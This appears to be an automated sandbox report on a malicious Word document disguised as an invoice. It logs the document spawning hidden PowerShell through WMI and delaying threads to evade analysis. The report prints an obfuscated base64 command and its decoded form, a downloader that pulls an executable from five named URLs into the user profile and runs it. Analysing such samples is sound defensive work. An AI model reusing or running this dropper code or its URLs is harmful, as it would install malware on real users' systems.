GcAZQAgADIANwAxADYAOQApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBzAFQAYABBAFIAdAAiACgAJABJAG0AeABmAHIAeAB0AGEAcABvACkAOwAkAEUAaQBkAHkAdABrAGwAeQA9ACcAWQBiAHEAeABjAHUAdgBkAGkAcQBuACcAOwBiAHIAZQBhAGsAOwAkAEwAbQBxAGEAaABqAGMAdwB5AHcAdABrAD0AJwBHAHcAYQB1AHUAaABsAHoAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQATwBuAG8AZwBxAGIAdQBtAG8APQAnAEwAZABrAGUAbwBnAHMAYQBmAHgAbgBqACcA

Source: INV_PO_12172019EX.LNK.0.dr

LNK file: ..\..\..\..\..\Desktop\INV_PO_12172019EX.doc

Source: INV_PO_12172019EX.doc

OLE indicator, Word Document stream: true

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

WMI Queries: IWbemServices::ExecMethod - Win32_Process::Create

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\Desktop\~$V_PO_12172019EX.doc

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\AppData\Local\Temp\CVR6E5B.tmp

Jump to behavior

Source: classification engine

Classification label: mal100.troj.evad.winDOC@2/19@6/4

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v2.0.50727_64\mscorlib\fe6ac93181b40a571892e14bfb9d65f2\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Mutant created: \Sessions\1\BaseNamedObjects\Global\.net clr networking

Source: INV_PO_12172019EX.doc	OLE document summary: edited time not present or 0
Source: ~DFAAA31D5F4A1B1B2F.TMP.0.dr	OLE document summary: title field not present or empty
Source: ~DFAAA31D5F4A1B1B2F.TMP.0.dr	OLE document summary: author field not present or empty
Source: ~DFAAA31D5F4A1B1B2F.TMP.0.dr	OLE document summary: edited time not present or 0
Source: ~DFD6589A193BC4C172.TMP.0.dr	OLE document summary: title field not present or empty
Source: ~DFD6589A193BC4C172.TMP.0.dr	OLE document summary: author field not present or empty
Source: ~DFD6589A193BC4C172.TMP.0.dr	OLE document summary: edited time not present or 0
Source: ~WRF{4D8C8B4D-2408-4479-B193-86C1187A3D7D}.tmp.0.dr	OLE document summary: title field not present or empty
Source: ~WRF{4D8C8B4D-2408-4479-B193-86C1187A3D7D}.tmp.0.dr	OLE document summary: author field not present or empty
Source: ~WRF{4D8C8B4D-2408-4479-B193-86C1187A3D7D}.tmp.0.dr	OLE document summary: edited time not present or 0
Source: ~DF413F6883B338D566.TMP.0.dr	OLE document summary: title field not present or empty
Source: ~DF413F6883B338D566.TMP.0.dr	OLE document summary: author field not present or empty
Source: ~DF413F6883B338D566.TMP.0.dr	OLE document summary: edited time not present or 0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File read: C:\Windows\System32\drivers\etc\hosts

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Window found: window name: SysTabControl32

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File opened: C:\Windows\system32\MSFTEDIT.DLL

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorrc.dll

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source:	Binary string: tomation.pdb source: powershell.exe, 00000005.00000002.929675315.0000000002CC7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ws\System.Management.Automation.pdbpdbion.pdbAlbu source: powershell.exe, 00000005.00000002.929675315.0000000002CC7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.pdbgement.Automation.pdb source: powershell.exe, 00000005.00000002.929675315.0000000002CC7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\System.pdb56a source: powershell.exe, 00000005.00000002.929675315.0000000002CC7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\symbols\dll\System.pdbIL source: powershell.exe, 00000005.00000002.929675315.0000000002CC7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\System.pdbstem.M source: powershell.exe, 00000005.00000002.929675315.0000000002CC7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\dll\System.pdb1. source: powershell.exe, 00000005.00000002.929675315.0000000002CC7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: emti.pdb source: powershell.exe, 00000005.00000002.941139445.000000001B3A0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ws\System.pdbpdbtem.pdbll source: powershell.exe, 00000005.00000002.929675315.0000000002CC7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: 8ystem.pdb source: powershell.exe, 00000005.00000002.929675315.0000000002CC7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\dll\System.Management.Automation.pdbmmon source: powershell.exe, 00000005.00000002.929675315.0000000002CC7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.pdb source: powershell.exe, 00000005.00000002.929675315.0000000002CC7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.pdb8 source: powershell.exe, 00000005.00000002.929675315.0000000002CC7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\symbols\dll\System.Management.Automation.pdb Fil source: powershell.exe, 00000005.00000002.929675315.0000000002CC7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\System.Management.Automation.pdb source: powershell.exe, 00000005.00000002.929675315.0000000002CC7000.00000004.00000020.00020000.00000000.sdmp

Source: ~DFAAA31D5F4A1B1B2F.TMP.0.dr

Initial sample: OLE indicators vbamacros = False

Data Obfuscation

Suspicious powershell command line found

Source: unknown

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell -w hidden -en JABOAHAAegBmAHIAbgB6AGIAcgB0AGkAdQBtAD0AJwBWAGYAZgB1AHcAeQBoAHkAaQBnAGkAeQBxACcAOwAkAEUAcwB4AHQAeQBkAGoAcABrACAAPQAgACcAOAA3ADMAJwA7ACQAWQBsAG4AagBxAHMAcwBjAG0AcABtAD0AJwBXAHkAbABxAGEAaQBkAGsAcQBhACcAOwAkAEkAbQB4AGYAcgB4AHQAYQBwAG8APQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEUAcwB4AHQAeQBkAGoAcABrACsAJwAuAGUAeABlACcAOwAkAFIAcgB5AGkAcABqAGYAaABkAD0AJwBZAHQAaQBkAG4AYwBpAGcAbABlACcAOwAkAFUAdwB1AGQAcgBtAG8AZwBqAGwAbwBzAG0APQAmACgAJwBuAGUAdwAtACcAKwAnAG8AYgBqAGUAYwAnACsAJwB0ACcAKQAgAG4AZQBUAC4AVwBFAEIAYwBMAEkAZQBOAFQAOwAkAEcAcABjAGsAeQBzAGMAeQBhAGUAbgBkAHoAPQAnAGgAdAB0AHAAOgAvAC8AYQBtAHMAdABhAGYAZgByAGUAYwBvAHIAZABzAC4AYwBvAG0ALwBpAG4AZABpAHYAaQBkAHUAYQBsAEEAcABpAC8AMAAvACoAaAB0AHQAcAA6AC8ALwBmAG8AbwB6AG8AbwBwAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AUQB4AGkANwBpAFYARAAvACoAaAB0AHQAcAA6AC8ALwA3AGEAcgBhAHMAcABvAHIAdAAuAGMAbwBtAC8AdgBhAGwAaQBkAGEAdABlAGYAaQBlAGwAZAAvAGcAagAvACoAaAB0AHQAcAA6AC8ALwBkAGUAdgAyAC4AZQBrAHQAbwBuAGUAbgBkAG8AbgAuAGcAcgAvAGMAZwBpAC0AYgBpAG4ALwBtAFQAVABDAEYAbQBWAGUALwAqAGgAdAB0AHAAcwA6AC8ALwBkAGkAYQBnAG4AbwBzAHQAaQBjAGEALQBwAHIAbwBkAHUAYwB0AHMALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAGgAaQBvADIAdQA3AHcALwAnAC4AIgBzAGAAUABMAGkAdAAiACgAJwAqACcAKQA7ACQASQB4AGkAcQBvAGcAZgBpAGsAbQA9ACcAQgB0AHQAeABnAGgAdgBpAG4AbwBtAHcAcwAnADsAZgBvAHIAZQBhAGMAaAAoACQATQBiAGMAbgB6AGcAcwBwAGEAdAAgAGkAbgAgACQARwBwAGMAawB5AHMAYwB5AGEAZQBuAGQAegApAHsAdAByAHkAewAkAFUAdwB1AGQAcgBtAG8AZwBqAGwAbwBzAG0ALgAiAEQATwBXAGAATgBMAE8AYABBAEQAYABGAEkAbABFACIAKAAkAE0AYgBjAG4AegBnAHMAcABhAHQALAAgACQASQBtAHgAZgByAHgAdABhAHAAbwApADsAJABIAGgAdABvAGIAZgBmAHAAbABnAHMAPQAnAFgAYQB5AG0AcABpAGMAdQAnADsASQBmACAAKAAoAC4AKAAnAEcAJwArACcAZQB0AC0AJwArACcASQB0AGUAbQAnACkAIAAkAEkAbQB4AGYAcgB4AHQAYQBwAG8AKQAuACIAbABgAEUAbgBHAGAAVABIACIAIAAtAGcAZQAgADIANwAxADYAOQApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBzAFQAYABBAFIAdAAiACgAJABJAG0AeABmAHIAeAB0AGEAcABvACkAOwAkAEUAaQBkAHkAdABrAGwAeQA9ACcAWQBiAHEAeABjAHUAdgBkAGkAcQBuACcAOwBiAHIAZQBhAGsAOwAkAEwAbQBxAGEAaABqAGMAdwB5AHcAdABrAD0AJwBHAHcAYQB1AHUAaABsAHoAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQATwBuAG8AZwBxAGIAdQBtAG8APQAnAEwAZABrAGUAbwBnAHMAYQBmAHgAbgBqACcA

Persistence and Installation Behavior

Creates processes via WMI

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

WMI Queries: IWbemServices::ExecMethod - Win32_Process::Create

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 264

Thread sleep time: -922337203685477s >= -30000s

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior

Source: powershell.exe, 00000005.00000002.929114441.000000000027E000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: \\?\IDE#CdRomNECVMWar_VMware_SATA_CD01_______________1.00____#6&373888b8&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}]

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process token adjusted: Debug

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Encrypted powershell cmdline option found

Source: unknown

Process created: Base64 decoded $Npzfrnzbrtium='Vffuwyhyigiyq';$Esxtydjpk = '873';$Ylnjqsscmpm='Wylqaidkqa';$Imxfrxtapo=$env:userprofile+'\'+$Esxtydjpk+'.exe';$Rryipjfhd='Ytidncigle';$Uwudrmogjlosm=&('new-'+'objec'+'t') neT.WEBcLIeNT;$Gpckyscyaendz='http://amstaffrecords.com/individualApi/0/*http://foozoop.com/wp-content/Qxi7iVD/*http://7arasport.com/validatefield/gj/*http://dev2.ektonendon.gr/cgi-bin/mTTCFmVe/*https://diagnostica-products.com/wp-admin/hio2u7w/'."s`PLit"('*');$Ixiqogfikm='Bttxghvinomws';foreach($Mbcnzgspat in $Gpckyscyaendz){try{$Uwudrmogjlosm."DOW`NLO`AD`FIlE"($Mbcnzgspat, $Imxfrxtapo);$Hhtobffplgs='Xaympicu';If ((.('G'+'et-'+'Item') $Imxfrxtapo)."l`EnG`TH" -ge 27169) {[Diagnostics.Process]::"sT`ARt"($Imxfrxtapo);$Eidytkly='Ybqxcuvdiqn';break;$Lmqahjcwywtk='Gwauuhlz'}}catch{}}$Onogqbumo='Ldkeogsafxnj'

Source: unknown

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -w hidden -en jaboahaaegbmahiabgb6agiacgb0agkadqbtad0ajwbwagyazgb1ahcaeqboahkaaqbnagkaeqbxaccaowakaeuacwb4ahqaeqbkagoacabracaapqagaccaoaa3admajwa7acqawqbsag4aagbxahmacwbjag0acabtad0ajwbxahkababxageaaqbkagsacqbhaccaowakaekabqb4agyacgb4ahqayqbwag8apqakaguabgb2adoadqbzaguacgbwahiabwbmagkabablacsajwbcaccakwakaeuacwb4ahqaeqbkagoacabracsajwauaguaeablaccaowakafiacgb5agkacabqagyaaabkad0ajwbzahqaaqbkag4aywbpagcabablaccaowakafuadwb1agqacgbtag8azwbqagwabwbzag0apqamacgajwbuaguadwataccakwanag8aygbqaguaywanacsajwb0accakqagag4azqbuac4avwbfaeiaywbmaekazqboafqaowakaecacabjagsaeqbzagmaeqbhaguabgbkahoapqanaggadab0ahaaogavac8ayqbtahmadabhagyazgbyaguaywbvahiazabzac4aywbvag0alwbpag4azabpahyaaqbkahuayqbsaeeacabpac8amaavacoaaab0ahqacaa6ac8alwbmag8abwb6ag8abwbwac4aywbvag0alwb3ahaalqbjag8abgb0aguabgb0ac8auqb4agkanwbpafyaraavacoaaab0ahqacaa6ac8alwa3ageacgbhahmacabvahiadaauagmabwbtac8adgbhagwaaqbkageadablagyaaqblagwazaavagcaagavacoaaab0ahqacaa6ac8alwbkaguadgayac4azqbrahqabwbuaguabgbkag8abgauagcacgavagmazwbpac0aygbpag4alwbtafqavabdaeyabqbwagualwaqaggadab0ahaacwa6ac8alwbkagkayqbnag4abwbzahqaaqbjagealqbwahiabwbkahuaywb0ahmalgbjag8abqavahcacaatageazabtagkabgavaggaaqbvadiadqa3ahcalwanac4aigbzagaauabmagkadaaiacgajwaqaccakqa7acqasqb4agkacqbvagcazgbpagsabqa9accaqgb0ahqaeabnaggadgbpag4abwbtahcacwanadsazgbvahiazqbhagmaaaaoacqatqbiagmabgb6agcacwbwageadaagagkabgagacqarwbwagmaawb5ahmaywb5ageazqbuagqaegapahsadabyahkaewakafuadwb1agqacgbtag8azwbqagwabwbzag0algaiaeqatwbxagaatgbmae8ayabbaeqayabgaekababfaciakaakae0aygbjag4aegbnahmacabhahqalaagacqasqbtahgazgbyahgadabhahaabwapadsajabiaggadabvagiazgbmahaababnahmapqanafgayqb5ag0acabpagmadqanadsasqbmacaakaaoac4akaanaecajwaraccazqb0ac0ajwaraccasqb0aguabqanackaiaakaekabqb4agyacgb4ahqayqbwag8akqa